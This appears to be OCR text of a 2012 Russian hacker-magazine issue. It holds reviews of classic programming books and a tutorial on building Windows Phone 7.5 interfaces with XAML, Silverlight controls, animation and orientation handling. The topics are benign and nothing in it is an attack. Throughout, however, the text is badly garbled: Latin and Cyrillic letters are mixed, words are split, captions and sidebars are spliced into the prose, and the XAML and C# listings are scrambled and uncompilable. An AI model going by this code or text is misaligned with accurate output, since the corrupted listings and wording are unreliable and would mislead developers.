поосите v 0пытного 0азраоотчика, какую книгу по 00ъектн 0-0 риенти рова н нOму программированию вам обязательно

С

стоит прочитать. В абсолютном большинстве случаев он пOсOветует именн0 эту. В отношении данной книги слово звучит недостаточно вы"бестселлер> разительн0, ведь с мOмента ее выпуска было продано уже более полумиллиона

Э. Хант,

успешнOсть реализуемых прOектOв Авторы на основании своего богатейшего опыта программирования создали структурированный набор практических сOветOв для прOграммистов. Небольшой размер книги 1270 страницl говорит о высокой концентрации важной для программиста информации. Практически все излагаемые в книге темы поясняются выразительными аналогиями, которые порой поражают своей точностью, В книге проводятся параллели между некачественны},{ кодом и теорией разбитого окна, столярным делом и работой программиста, вождением автомобиля и написанием кода, стрельбой трассирующими пулями и созданием прототипов П0, хождением по минному полю и программированием в расчете на стечение обстоятельств. В конце каждого раздела приводятся вопросы для обсуждения и упражнения, что лишний раз подчеркивает практическую направленность книги. 0дним из самых замечательных принципов программирования, которым мы обязаны авторам, является принцип DRY lDon't Repeat Yочгsеlf], что в переводе на русский означает:.Не повторяй самого себяu. Это подразумевает, что каждый фрагмент знания должен иметь единственное и однозначное представление в системе. Следование даннOму принципу позвOляет пOвысить надежнOсть, доступность и простоту сOпрOвOждения прOграммнOг0 прOдукта. В главе, посвященной общей философии прагматичного программирOвания, мы узнаем, каким авторы видят прOграммистапрагматика: он всегда принимает ответственнссть за свой код, следит за сOстOянием свOег0 прOдукта, пOстOянно сOвершенствуется, общается и находит компромисс с пользователями. Глава .Прагматический

подходD говорит об обших методиках

разработки

и

оценки трудоемкости проектов, Важнейшая глава.Гибкость против хрупкости> рассказывает, каким же образом необходимо создавать действительно гибкие и устойчивые к изменению системы. Из главы <Перед тем, как начать проект> можно узнать о процедуре формирования и утверждения требований к системе. .Прагматические проекты> знакOмят нас с критическими аспектами сOздания реальных проектов, такими как работа в команде, тестирование и формирование документации,

Единственное, что может подпортить впечатление о книге, так это недостаточно качественный перевод на русский язык и наличие множества опечаток. Книгу лучше всего читать в оригинале на английском языке. Нельзя не согласиться с отзывом Кента Бека: <Главное в этой книге т0, что 0на пOддерживает прOцесс сOздания программ в хорошей форме. [Книга) способствует вашему постоянному росту и явн0 написана людьми, знающими тOлк в программирOвании>. Если вы стремитесь к постоянному росту как программист, эта книга обязательна к прочтению. хлкЕр

о9 l1b1,1 2012


6 главных книг о кодинге

!. ((

Кнут

Искусство

Р. Мартин

п

ро гра

}r }i и

н

ия

исl

-

ХХ века наряду с работой Эйнштейна по теории относительности. Успех кни-

tрдвNj_il_lощпыш

цlоll1:lt}Jr:]

програм,ryrирования

анализ важнейших фундаментальных алгоритмов, используемых в информатике, а также множеств0 практических задач для усвOения и закрепления представленного материала. Журнал Аmегiсап Scientist включил работу Кнута в список двенадцати лучших

физико-математическихмонографий

клл(:сl]чг(кllil1 рчд

Искусство

называют <Библией программиста>. 0на содержит подробное олисание и

1,o!l

!

Основные алгоритмы

Трrье

издаяие

l

ДОНАЛЬД Э. КНУТ

ги 0пределил0 качеств0 изложения и

глубина анализа общих вопросов програN4мирования. Кнут начал работу над <Искусством программирования> еще в 'l962 году, По замыслу автора монография должна состоять из семи томов, Пока было издано три первых тома, а также первая половина четверто-

го. Все изданные на сегодняшний день материалы составляют почти З000 страниц. Читать книгу совсем не просто [как, впрочем, и Библию],

главным образом потому, что все примеры рассматриваются на низкоассемблере для гипотетического урOвневOм языке программирования выдуманного автором компьютера lt4lx. Поэтому у программиста вряд ли получится испOльзовать книгу в качестве набора готовых рецептов для решения конкретных задач. Эта книга дает программисту не рыбу, а скорее хOрOшую удочку, с помощью которой он сможет не без определенных

усилий самостоятельно наловить рыбы. Первый том посвящен основным алгоритмам и состоит из двух глав. Первая глава подготавливает читателя к работе над книгой, Здесь рассматриваются 0снOвные математические пOнятия и теоремы, на которых базируется весь материал. Читатель знакомится с <полиненасыщенньiм компьютером> liy'lX, его архитектуроЙ и его языком ассемблера. Вторая глава посвяlцена информационным структурам и алгоритмам работы с ними. Здесь рассматриваются деревья, многосвязные структуры, линейные списки, в тOм числе стеки, 0череди, деки, циклические и дважды связанные сп4ски и прOчее. Второй том включает в себя третью и четвертую главы. Третья глава посвящена работе со случайными числами и последовательностями. В четвертой главе описываются вопросы арифметики, а и[4енно различные виды систем счисления, арифметика чисел с плавающей точкой и рациOнальных чисел, полиномиальная арифметика и другое. Третий том посвящен алгоритмам сортировки и поиска lcooTBeTcTBeHHo, главы 5 и 6],

из четвертого тома опубликованы материальi седьмой главы, описывающей вопросы комбинаторного поиска. Исходя из планов автора, в четвертый том также войдет восьмая глава, в которой рассматриваются рекурсивные алгоритмы. Пятый том будет сOдержать материалы п0 синтаксическим алгоритмам, в том числе по

лексикографическому и синтаксическому поиску. Ожидающие издания шестой и седьмой тома будут посвящены теории языкоs и компиляторам. В своем отзыве о работе Кнута Билл Гейтс сказал: <Если BbJ считаете себя действительно хорошим программистом... прочитайте,,Искусство программирования" lKHyTa)... Если вы сможете прочесть весь этот труд, т0 вам 0пределенн0 следует отправить мне резюме>. L{итата лишний раз пOдчеркивает, чт0, несмOтря на сложнOсть материала, настояций профессионал обязательно должен осилить труд flональда Эрвина Кнута.

оя

/laal юlz

код>>

Умение писать чистый код тяlкелая работа. 0на не ограничивается знанием паттернов и принципов. Над кодоl,,l необходимо попотеть.

рOграммист, у кOтOрOг0 нет

книги <Искусство программирOвания>, как священн0служитель, у которого нет Библии. Монографию !ональда Кнута часто

хдкЁр

((Чистый

>)

-

Лучший способ в чем-то разобраться до конца это попробовать научить это}tlу ко1,1пьютер.

п

рова

tl

К

нига <<Чистый кол>r

одно из ,.r6oi'.. -удачных издании, п0-

свяценных написанию высOк0-

качественного кода. Размер книги около 400 страниц. При этом она настOльк0 увлекательна и дOступна, чт0 за два-три вечера запрOст0 прочитаешь ее 0т кOрки д0 кOрки. В дружеской манере <дядюшка>

Боб рассказывает нам, какими же принципами нужн0 рукOвOдств0ваться, чтобы писать хороший код. Книга изоби-лует примерами из реальных при_ ЛOЖеНИИ, С КOТOРЫмИ аВТOР

СТаЛ-

-сt

РобеpгМарffн

t-(

чllстыЙ

ll0дж,

Еer iл lý i

:-

!'

т

hr*оё{чимщ,? КаrYryшпьплцоirод? Почоryчrd!л

rод{айо

rпощеr?

по€!уа|Oпrсаняrодаiа(6rýы{олочв?

ry

кивался в своей практике. Среди них такие известные прOдукты, как JUnit, FitNesse, JDepend, Ant и ТоmСаl Книга разделена на три части. Первая часть теория написания <(чистOг0> кOда: приемы, паттерны и принципы, которым необходимо следовать разработчику. Вторая часть носит практический характер

-

и

подробно описывает сам процесс <<чистки)) кода существующих приложений. Третья часть подводит итоги всей книги и содержит перечень (запахOв кOда) и метOдOв их устранения.

В теоретической части подробно описываются принципы именования переменных, метOдOв и классов, правила создания функций, написания комментариев. форматирования кода и написания модульных тестов. Роберт дает понять, что хорошо написать код недостаточно. Необходимо поддерживать его чистоту с течением времени, чтобы предотвратить <загнивание). Поэтому он вводит <правило бойскаута>>: <<0ставь место стоянки чище, чем оно было до твоего прихода>, При создании функций во главу угла ставятся компактность, правило одной операции и одного уровня абстракции. Будучи ярым адептом TDD,

мартин указывает на важность ((чистоты>) не только кода конечного прOдукта, но и кода модульных тестов. 0н иронически замечает: <Какими 0тличительными признаками характеризуется чистый тест? Тремя:

и удобочитаемостью>. удобочитаемостью. удобочитаемостью В начале книги Роберт приводит ответы мэтров программирования на вопрос, что же такое "чистый код>, Грэди Буч отвечает: <Чистый код прост и прямолинеен. Чистый код читается, как хорошо написанная проза>. Программисты, которые стремятся писать <чистый код>, прост0

обязаны прочитать эту книгу.

ЗАКЛЮЧЕНИЕ Значение хороших книг по программированию сложно переоценить. Каждая из описанных книг позволяет совершить огромный скачок в развитии. uИскусство программирования> закладывает прочный фундамент, обучая нас фундаментальным алгOритмам и приемам программирования. "Совершенный код> позволяет выйти на новый качественный уровень конструирования П0, <Чистый код) и <РефактOринг> учат нас внимательнее отнOситься к качеству кOда и пOддерживать его в идеальном состоянии. "ПрограммистпрагматикD пOдсказывает, как же реально добиться практического успеха при разработке П0. <Паттерны проектироваl/я> вооружаю- тяжелой артиллерией паттернов для решения мнOжества задач прOектирOвания. ts


кOдинг

Юрий (учrеmhоD Язев lyazev5of tagma]l,com]

ndows Phone Wi

пРOгРА},l1.{иРовАНиЕ ИНТЕРОВЙСОВ

для WP

7.5 в

готовьlх

рЕцЕптАх

В проl_tlлом номере я обещал написать для тебя статью с кодерскими рецептами, но уже про интерфейсы, Щержи обещанное! Прочитав эту статью, без всякой подготовки ты сможешь сделать вполне современный, динамичный и зависящий от показаний акселерометра

фейс для своей программы.


Fасе of windows Рhопе

вOOружАЕмся

-

0сновное оружие в борьбе за интерфейсы это мощная интегрированная среда разработки Visual Studio 20'10. В спину ей дышит редактор для визуального моделирования Ехргеssiоп Blend; для разработки Windows Рhопе приложений он бесплатный, в отличие от своего десктопного аналога. Визуальное наполнение 0С Windows Phone отображается (и, разумеется, модулируетсяl средствами Silчегlight. На момент написания этих строк вышла уже пятая версия Silveгlight, но в WP по-прежнему используется предыдущая, четвертая версия.

ЖИЗНЕННЫЙ ЦИКЛ МОБИЛЬНОГО ПРИЛOЖЕНИЯ С ТOЧКИ ЗРЕНИЯ пOльзOвАтЕля 1,

Поиск нужного приложения.

2. Нахождение + чтение описания и просмотр титульной

XAML

картинки lочень важный этап, успех которого означает переход к следующему|. З. Скачивание + испытание демо. 4. Покупка полной версии. 5. Использование приложения. 6. Удаление.

flля описания пользовательского интерфейса приложений

для Windows Рhопе, равно как и других видов SiIчегlight- и WРFприложений, используется декларативный язык XAML. 0н представляет собой расширенный язык разметки наподобие XML, XAML появился вместе стретьей версией.NЕТ в конце 2006 года и благодаря своему удобству стал очень широко распространен. XAML наследует описательную гибкость XML. позволяя легко дополнять суцествующие схемы новыми элементами.,Д,авай рассмотрим элементы языка и увидим, чт0 с их пOмOщью мOжно сделать.

Пользовательский интерфейс играет важнейшую роль на двух этапах {З и 5l.

гЕOмЕтрия Вначале посмотрим на создание геометрических объектов. В студии создай новое Si чегlight-приложение для WP Сейчас наше внимание будет приковано к файлу MainPage.xami, но сначала взгляни внутрь файла App.xaml. 0н интересен тем, что в нем определяются четыре жизненно важных для каждого WР-приложения события: Application_Launching, Application Closing, Application_Activated, Application_Deactivated. Подробнее о них я уже рассказывал IB мартовской статье].0писания функций для этих событий содержатся в файле App.xaml.cs. flля удобства из файла MainPage.xaml удали содержимое тега Grid, который имеет атрибут x:Name="LayoutRoot". Тем самым с ]крана эмулятора телефона будет удалено все лишнее. Всего в Silчегlight содержится шесть гео[4етрических примитивов: прямая линия, лOманая линия, прямOугольник, многоугольник, эллипс и путь. Строго говоря, путь является основным типом геометрии, так как все остальные строятся на его основе. К примеру, чтобы нарисовать кривую, используя метод Безье, достаточно написать:

Можно еще более сократить приведенную выше запись, удалив атрибут Name loH нужен только в том случае, если к объекту будет планироваться обращение из кода). В последнем атрибуте задаются координаты и размеры примитива. Заметь, четыре значения определяют ]eft, top, right. bottom поля отступа от соответствующих краев объекта родителя. В дополнение к рассмотренным все примитивы обладают другими стандартными атрибутами: Width, Height, Fill. Первые два задают ширину и высоту примитива, а последний цвет для закраски. Кроме того, для закрашивания фигуры служат пять стилей, каждый из которых красит примитив особым образом: SоlidСоlоrВгush красит сплошным цветом, LiпеагGгаdiепtВгush красит линейным градиентом, RаdiаlGгаdiепtВгush радиальным градиентом [то есть в этом случае цвет меняется по окружности, начиная от центральной точки до точки. находящейся на краю области закрашивания}, lmаgеВгush вместо закраски цветом используется наложение текстуры, VideoBгush -то же самое, что в предыдущем случае, тOльк0 испOльзуется вывOд виде0. Испробуем дополнительные атрибуты: создадиь4 закрашенный прямOугOльник, применяя стиль радиальног0 градиента:

-

-

-

-

<Path stгoke="White"> <

Path . Data <

>

PathGeomet гу>

<РаthFiguге StaгtPoint="50,

5О"

<Rectangle Рlаrgiп="275, 526,28, 8З">

>

<ВеzlегSеgmепt Pointl="500,0" Point2="500,2OO" Point3="150,300"/>

PathF igu пе <,/ PathGeometгy </Path. Data> </Path> <

/

>

Магgiп="sЗ, 544, 227,724"

/

>

Как и в HTML, многие объекты в Silveгlight можно описать посокращенными

оэ 1lьь/ zglz

>

<Gгadientstop СоIог="Yеllоw" offset="0.2" /> <Gгadientstop co]oг="tJhite'' offset="o.6" /> <Gгadientstop Соlоп="Вlче" offset="1" />

<Ellipse Name="el]ipse1" Stгoke="Red"

хiкiе

<RadlaIGгadientBгuSh

>

В первой строке задается цвет контура для рисования, следующим тегом начинается область описания данных лути, тег <PathGeometгy> сообщает компилятору, что далее идут данные, 0пределяющие геOметрию: задается сегмент, состоящий из трех тOчек, каждая со своими координатами. Чтобы изобразить эллипс красного цвета, достаточно одной строчки кода:

добн;lми

<Rectang].e. Fi11>

записями.

< / Radia lGгаd iепtВrч </Rectangle. Fi11> < / Rectangle >

I

s h

>

ВИЗУАЛЬНOЕ НАПОЛНЕНИЕ 0С WINDOWS рнONЕ 0тOБрАжАЕтся и, РАзУlul ЕЕтся, ]ul 0дУл и РУЕтся срЕдствА1.,t и Sl LvE RLl Gнт


кOдинг

элЕ1,{ЕНты УпРАВлЕНия К счастью разработчика, существует множество объектов управления Iкомпонентов|, с помощью которых можно компоновать прилOжение, а пOльзOватели затем мOгут им управлять; кOличество объектов можно пополнять. В этом рецепте мы рассмотрим лишь небольшую их часть, выделив их в обобщенные подгруппы, а с остальными ты разберешься по ходу дела, опираясь на общие свойства сгруппированных компонентов. Все контролы можно разделить на пять категорий: простые элементы управления, элементы с содержимым, списки, контейнеры и компоненты, присущие только смартфону. Пойдем по порядку. К простым элементам управления относятся разные текстовые метки [TextBlock), поля ввода {TextBox, РаsswогdВох), картинки компонент lma9e, ползунки [Slidег), полосы состояния [РгоgгеssВагl и другие. То есть это такие компоненты, которые не могут содержать подобъекты. К элементам с содержимым относятся различные кнопки lобъекты классов Button, RadioButton, благодаря свойству Content они могут НурегliпkВuttоп, CheckBoxl содержать другие компоненты. Списки представляют собой коллекции для объектов определенного типа, таких как ListBoxltem, обеспечение Мепultеm, Sерагаtог и других. Главная роль списков набора однотипных элементов. Списки в Silveгlight представлены классами ListBox, ContextMenu, ListPickeг, DаtеРiсkег и другими. Как следует из названия, контейнеры предназначены для накопления и содержания других компонентов. 0ни не имеют визуального интерфейса, но позволяют создавать на экране смартфона определенную разметку, в которой может находиться произвольное количество дочерних элементов; последние могут быть представ-

-

-

,шп п",е [в.*.

IM*"r

compon.ntNamc MicJo,й,&prфiion,or.8ing Mi<,фй,&pr6,ionlni.!.dionl sy*n,windo*h.6dfuiq

vф,оп З85Э ЗЯ5Э ]а5! Mic.o5o(,&p,6.ion,conto&,F,,. 4jfo 7f,oo syn.m.Dil.,s.ruic.5,cliФr Мiсrcjоft,Рhоп.,Сопtоl,,Тооlkil 7Э,О' б!.* Мй-Ф-"С-diliФ М Mic.oroft,Aav.nEin9,Mobil. 51,oJ Mi<o,фДav.nnin9,Mobil..Ц 52ЛЭ Мi<Ф,Ф,Аdч.пЪiпq,МоЬild,,,

'2jЭ

Ruпtrm. v2r9727 v2oЯ727 v2D9727 v2os727 ч2rs?' ч2!,s?' ч2!Я727 v2b3727 v2o9727

:'

Рdh lalб (fi)\Mic.osoft sDk\&r,.яiоп\Вl.пd С;\Р,о9Dб Fa|.l (Ф)\Mi(rosoft 50&\&Pв9ion\Bl.nd c:\Pogвm Fal., (fi]\мiсФ,й 5Dк.\arG.ion\Bl.nd (l\Proglrm Fil., (Ф)\мi(о5Ф sDKj\&p?sion\k.n1 (]\P,ogl!m ajlб (6]\Мiс,о.ф sDG\Mi.o,й D.t. c:\P,ogвm

Рhоп.\',

!,]Рr99щil|9!9ДЦ{!:91sО&\Wiпdоw9

c\progl.m Fil.. (ф)\Miclcoft soKr\window! Phon.i Pl С\Р.о9,.ф Fi1.5 (Ф)\Micoroft sDК.Це.пЬiпg = 'о, СЛРФ9вmFil6(Ф)\Мi.6,оfrsОе\Аdч.пЬaпgrо.Рl

СlРФ9,.б

Fi1.5 (Ф)\М,GФrоft

sok\Ae.d,ing

'о,

П

;

l i l

Гок lГ<м_l Рис.

1.

Подключение

сборки

лены экземплярами любого класса. К контейнерам относятся четыре компонента: уже известный нам Gгid, представляющий собой таблицу; StackPanel, имеющий вид строки или столбца, в котором могут находиться подобъекты; контейнер SсrоllViеwег позволяет прOкручивать свOе сOдержимOе в случае, если оно занимает большее пространство, чем он сам; внутри канвы lCanvas] можно произвольным образом размещать элементы, то есть в отличие от остальных этот контейнер не имеет строгой разметки, Последняя категория компонентов представляется мне наиболее интересной, поскольку не имеет аналогов в других реализациях

WP 7.5 Третьего июля вышло обновление под Ho}.1epo!t 7.10.877З.98, добавившее эначительные, на мой взгляд, функции. Напри},iер, стало возможным импOртировать и экспOртир0вать контактные данные с телефона на SlM-KapTy и обратно. Стабильность и безопасность работы,6удем надеяться, тоже были улучшены. flля этого MS ведь и выпускает обновления?

ш

ппм WWW.microsoft.com мноrо полезной информации о Windows Рhопе, silveгlight

(опутствуюцих технолоrиях lоrо,

-

На диске находятся

все приtеры,

иллю(трируюцие 0пи(анные рецепты.

в

статье

и

неплохой сайт! Прим. ред.|.

-

Рхс.3. Pivot

хлкЕр

09 /1b1,1 2012


Fасе of windows phone

Silverlight, кроме WP. Вместе с тем эту категорию составляют только два объекта: Рапогаmа и Pivot. 06а эти объекта позволяют создать особенный. состоящий из нескольких сменяющих друг друга панелей интерфейс,,Д,ля примера сделаем простенький интерфейс, с помощью которого можно было бы листать электронную версию любимого журнала:]. Чтобы использовать контрол Рапогаmа (или Pivotl, необходимо в окне Rеfегепсе> lРrоjесt Add Rеfегепсе] "Add добавить ссылку на сборку Мiсгоsоft.Рhопе.Сопtгоls [рис, 1l.

)

Затем в коде надо подключить пространство имен: xmJ.ns

:

рап="с}г-nameSрасе :MiсnoSoft, Phone. j aSsembly=Mla"orora. ahone. сопtгоlS",

contnoIs

Наконец, чтобы добавить панораму в приложение, напиши такой код:

Title="Xakep magazine"> РапогаmаItеm Headen="1">

<рап :Рапопаmа <рап

:

</pan : РапогаmаItеm> <рап

:

РапогаmаItеm Неаdеп="2">

<

/pan : Рапопаmа Item> : PanonamaItem Неаdег="З"

<pan

>

</рап: РапогаmаItеm> < /pan : Рапогаmа > В итоге ты сможешь в виртуальном журнале (Хакер, листать страницы привычным способом. Наполнение страниц надо добавлять внутрь тегов Рапоrаmаltеm..Щля экономии пространства я не стал привOдить кOд в журнале, ты мOжешь пOсмOтреть ег0 в примере на нашем диске. Страницы можно наполнять любыми объектами, то есть каждая панель может иметь свою разметку [рис. 2). В чем разница между Pivot и Рапогаmа? 06ъект Pivot, в отличие от Рапогаmа, не обладает общим для всех страниц заголовком: если Рапогаmа позволяет переходить со страницы на страницу только последовательно [с текущей на следующую или предыдущую), то с помоцью Pivot можно перейти на любую страницу, прикоснувшись к ее названию в списке вверху экрана (рис. З), Пополнить библиотеку элементов управления можно, например, скачав и установив тулкит: si чег ight,c.odqplex,com/гe case5/ vl,"w/52?l]. Кстати, при изготовлении сэмплов для статьи мы пOльзOвались этим тулкитOм.

Арр BAR Подобно тому как почти все оконные приложения lневажно, какой операционной системы Windows, Linux или Мас 0S] имеют строку меню иlилитулбар, программа для WP в подавляюцем большинстве случаев тоже может иметь такой элемент управления 0днако с учетом Метро-стиля, когда приложения занимают весь экран, выглядит этOт элемент иначе 0н распOлагается внизу. Представлен он классом АррliсаtiопВаг; объект этого класса может содержать кнопки экземпляры класса АррliсаtiопВагlсопВuttоп и текстовые пункты меню объекты класса Мепultеms, Кнопки могут иметь картинки размером 1+8 х 48 пикселей; чтобы тебе не пришлось рисовать самому, Microsoft приготовила обширную коллекцию {находится она в папке с:\Ргоgгаm Files lх86l\Мiсгоsоft SDKs\Windows PhoneW7.1\lcons\l. 0брати внимание, надо использовать изображения из подкаталога dагk. Перед тем как заюзать в приложении, их надо добавить в решение. Следуюцим действием давай создадим приложение, которое кроме Ьаг'а будет иметь анимационный элемент. Таким образом, вместе с элементами управления мы рассмOтрим вOзмOжнOсти Si чегlight в создании анимации. Чтобы добавить пустой бар, достаточно в ХАМL-файле внутри тега <phone:PhoneApplicationPage> написать:

-

-

<

-

icationPage, Applicat 1onBa <she1l :ApplicationBaг ISVisib]e="Tгue"

phone

:

PhoneApp1

IsмenUЕnabled= "тпuе" < !

--

г>

Теперь опишем определенные нами события (две штуки] в виде кода на С#, Перейди в файл MainPage.xamLcs и напиши два пока пустых обработчика событий:

ргlчаtе void butstant_c].ick(object sепdег, ЕчепtАгgs е) t

}

ргlчаtе vold butPause_c],ick(object sепdег, EVentAngS

е)

t

}

было бы оставить их описание до момента реализации, а ведь мы ведем разработку через тестирование (TDD) и поэтому всегда должны иметь рабочий билд. Кстати, бар не может содержать больше четырех кнопок, иначе приложение будет падать при запуске. Теперь настала пора создать объект, которым будем управлять. Пусть это будет слово мь1 хотели использовать "Хакер" {вообще-то название водки, кофе или хотя бы оператора связи, но вовремя вспомнили, что Бекмамбетов не наш главный редакторl. Итак, для создания объекта в файл разметки интерфейса внутрь очищенного тега Grid добавь такой код: l,-4ожно

но тогда прога бы не компилировалась,

-

<TeXtBlock Hoгizonta]Alignment="Center"

>

код для добавления элементов-->

Ма

</she11 :ApplicationBaг> < /phone : PhoneApp1 icationPage. Арр1 icat ionBa г>

гgiп= " 125, 298, 1ЗЗ, З06 "

Nаmе="насkтext" Text="XaKep"

Vегtiса]Д]igпmепt="Сепtег" FопtFаmilу="Дгiаl" Fontsi

ze= " 80 "

>

Атрибут isVisible отвечает за видимость бара, islr4enuEnabled за его активность.,Щобавим две кнопки, нажатие на первую из которых будет запускать анимацию, а нажатие на вторую останавливать, ,Щля добавления кнопок напиши такой код:

<,/TextBloc

<shel1 :App]icationBanIconBUtton

бара, чтобы добавить к нему пункты текстового меню. которое пOявляется пOсле нажатия кнопки с многоточием, находящейся с правого края. Щвух вполне достаточно. 0ни будут служить нам для изменения цвета шрифта. К описанию тега <phone:PhoneApplicationPage.ApplicationBar> после добавления кнопок для включения пунктов меню напиши такой код:

-

х

:

Name="butstaгt"

TeXt="Stant" IсопUгi="/iсопs/аррЬаг. tгапSрогt. play. геst. рпg" Click="butStaгt_click"/> <shell :ApplicationBaгIconButton х : Name="butPause" Text="PauSe" IсопUгi="/iсопs/аррЬаг.tгапsрогt. paUse. геst. png" C]ick="butPause_Click"/>

хдкЕр

09 l1b/,/ zo12

k

>

Благодаря этому коду надпись <Хакер" разместится примерн0

в центре экрана, написана она будет шрифтом Агiаl большого-

пребольшого размера. Теперь воспользуемся функциональностью


кOдинг <

shel l : Арр1 icationBa г. MenUltems > х : Name="butt^lhite" < shel1 : ApplicationBaгMenuItem Text="l^Jhite" Click="buttnJhite_C1ick" / > < she11 : ApplicationBaгlulenuItem х : Name=" Ьutcгееп"

техt="Gгееп" сllсk="Ьutcгееп_сllсk"/>

<

/

shel l : App].icationBar. MenuItemS

>

Перед ie" как описывать обработчики нажатий пунктов меню, это позволит необходимо объявить присоединенное свойство использовать свойства, которые не объявлены в текущем классе. Таким образом [см. листинг далее], хотя свойство Fогеgгоuпd класса TextBlock не поддерживает значений класса Соlогs, он использует присоединяемое свойство, названное нами Техtсоlог, для реализации класса SоlidСоlогВгushеs. Который, в свою очередь, поддерживает значения класса Соlогs, передавая корректные значения названий предопределенных цветов,В месте описания экземпляра класса TextBlock [внутри одноименного тегаl добавь такой код:

-

<TextBlock. Fогеgгочпd>

<Solidco]oгBrush х:Nаmе="техtсоlог" coloг="White"/> </TextBlock. Еогеgrоuпd> В итоге, кроме того что задали свойство, мы установили начальный цвет текста белым. ,Д,алее мы можем написать обработчи ки нажатия на пункты меню:

ргiчаtе void butt^Jhite_click(object Sепdег, ЕVепtАпgs е)

{ thiS.Textcoloг.color

=

СоIогs.Ь,hitе;

}

ргiчаtе void butcneen_click(object sепdег, EventAгgs е) { thi5.ТехtСоlоr.Соlоr = Соlопs.Gгеепj } В результате при нажатии на определенный пункт меню цвет шрифта будет соответствующим образом изменяться.

Ани}iАция Анимации в Silveгlight задаются в коде, они представляют собой изменение свойств объектов с течением времени. Мы же (хотя нет, почему это мы? Это же яl] хотим, чтобы во время анимации надпись вращалась на З60 градусов по оси Y. Если взглянуть на свойства экземпляра класса TextBlock, то мы не обнаружим свойств для задания градусов вращения по определенной оси. Тем не менее, воспользовавшись присоединяемым

свой-

ством, мы сможем решить эту задачу. Таким образом, свойству Ргоjесtiоп класса TextBlock будут передаваться поддерживаемые им значения класса РlапеРгоjесtiоп. С помощью этого свойства к объекту класса TextBlock будет добавлена возможность вращения. ,Щля этого перед закрывающиNl тегом </TextBlock> добавь: <

Text Вlос

k

.

Ргоj ect ion

<P]aneProjection

<

/TextB]oc

k .

>

х : Nаmе="гоtY",/>

Ргоj ect iоп

>

В результате будет добавлено присоединяемое свойство под именем гоtY, манипулируя значением которого можно вращать родительский объект по оси Y. Теперь опишем собственно анимацию. Внутрь тега Gгid добавь следующее описание:

<Gгid. Resources>

<StогуЬоаrd х : Name=" гоtаtеY" > <DoubleAnimation stогуЬоагd.ТагgеtNаmе="гоtY" Sto гуЬоа гd . Та гgеtР горе гtу= " Rotat ionY" Fгоm="0" то="збо" Duration="0:0:5" />

< /Sto гуЬоа rd > </Gnid. RеSоuгсеs>

Здесь создается раскадровка под именем rotateY, она ссылается на созданное нами свойство rоtY, из которого для изменения берется параметр RotationY Iпоследний является дочерним параметром свойства Ргоjесtiоп).3атем мы указываем, в каких пределах изменять значение выбранного параметра, и последним действием задаем длительность анимации, Кроме того, анимация объявляется как ресурс элемента Gгid. Сейчёс воспользуемся уже объявленными обработчиками событий для запуска и остановки анимации [напомню, что мы их написали в файле MainPa9e.xaml.csl. В первом из них, служащем для запуска, напиши: гotateY.Begin[);, а во втором, который, соответнапиши: гotateY,Pausel];. Протести, ственно, служит для ос]-ановки, (рис.4]. руй приложение, все должно работать, как и задумано

Рис.4. Все работает|

хАкЕр

09 /1641 2012


Fасе of windows Рhопе

I

рloБильньlЕ прилOжЕния дOлжны крАсив0 рЕАгировАть нА дАнныЕ, пOступАюlциЕ с АксЕлЕрOlUlЕтрд. и это рЕдлизуЕltlo ПРАВИЛЬНАЯ 0РИЕНТАЦИЯ

Если сейчас (в смысле, во время работы нашей программы) наклонить телефон, то слово uXaKep, не изменит своего положения. Непорядок! lr4обильные приложения должны красиво реагировать на данные, поступающие с акселерометра, и для этого Silчегlight fог WP предоставляет нам все условия, Первым делом в начале файла MainPage.xaml в определении тега <рhопе:РhопеАррliсаtiопРаgе> отредактируй определение атрибута SuррогtеdOгiепtаtiопs на такое: SuррогtеdOгiепtаtiопs= "РогtrаitOгLапdsсаре" 0гiепtаtiоп="Рогtгаit". Это означает поддержку нашим приложением обеих ориентаций. В качестве дефолтной мы указали портретную ориентацию. Если сейчас во время проверки опрокинуть телефон, то кнопки на баре примут соответствующее положение, а надпись исчезнет, 0п-ля| Надо поправить ситуацию, Если, следуя моему совету, ты удалил все содержимое тега Gгid, то верни описание следующего атрибута:

В нем определяется содержимое сетки, в данном случае оно состоит из одной строки. Затем, ниже строчки определения 0риентации приложения, зарегистрируй его на получение извещения о смене положения телефона: 0riепtаtiопСhапgеd="Рhопе_ 0riепtаtiопСhапgеd". Напишем обработчик этого события в коде на с#:

ргiчаtе vold Phone*Oгientationchanged(object sепdег, 0rientationchangedEventAngs е) t if ((e.Oгi.entation & Pageorientation.Landscape) == (PaBeOrientatlon. Landscape) ) t Grid.setRoW(HackTeХt, 0) ; Gnid.Setcolumn(Hackтext, 1) ;

} else

<Gnid. RoWDefinitions> <RoWDefi <RoWDefi

</Grid.

nition nition

RoWDefi

{

Gгid.setRoW(Hackтext, 1),; Gгid.Setcolumn(Hackтext, 0) j

Height="AUto"/> Height="*"/>

}

nitionS>

}

Воттеперь все работает! В зависимости от изменения положения телефона сетка принимаеттеперь вид строки или столбца соответственно [рис.

5].

0ргвывOды Под занавес статьи подытожим, чего мы добились и что узнали. Как и планировали вначале, мы узнали в теории и попробовали на практике некоторое количестводизайнерски-кодерских

Рис. 5.

С

ориентацrей проблем

у

трюков для платформы WP, рассмотрев разные декоративные объекть и элементы управления. Кроме того, мы погрузились в язык XAML, узнали об использовании простых анимаций, а с ломоцью присоединяемых свойств мы научились организовывать передачу объекту таких значений, которые изначально им не поддерживаются. flo встречи на страницах журнала и удачи тебе во всех делахl

t

нас нет

WINDOWS PHONE 7.8 и 8.0 Пока писалась эта статья, на конференции Windows Рhопе Summit Microsoft представила две мобильных 0С Windows Рhопе 7.8 и 8.0. Первая это масштабное обновление для существующих устройств на баэе Windows Рhопе 7.5, тогда как вторая полноценная ОС, для

-

-

-

работы с которой понадобится новое, более мощное устройство. Главной

фишкой обновления станет расширенный по функциональности и более удобный в использовании стартовый экран. Например, в нем появилась возмоlкность йзменять размеры плиток. Мелочь, а приятно! Меня, например, раздражает, что на моем телефоне плитка календаря имеет больший размер, чем плитка игры Rо|liпgСаr:l. С другой стороны, в WP 8.0 объявлено о появлении огро1.1ного количества нововведений, и вЪт некоторые из них. Во-первых, это

хлкЕр

о9

l1b4/ 2о12

общее с десктопной версией NT ядро, что предвещает нам более легкий перенос приложений. Во-вторых, это возможность програ1.1мировать в нативном коде на С/С++ и полноценная поддержка DirесtХ, что откроет

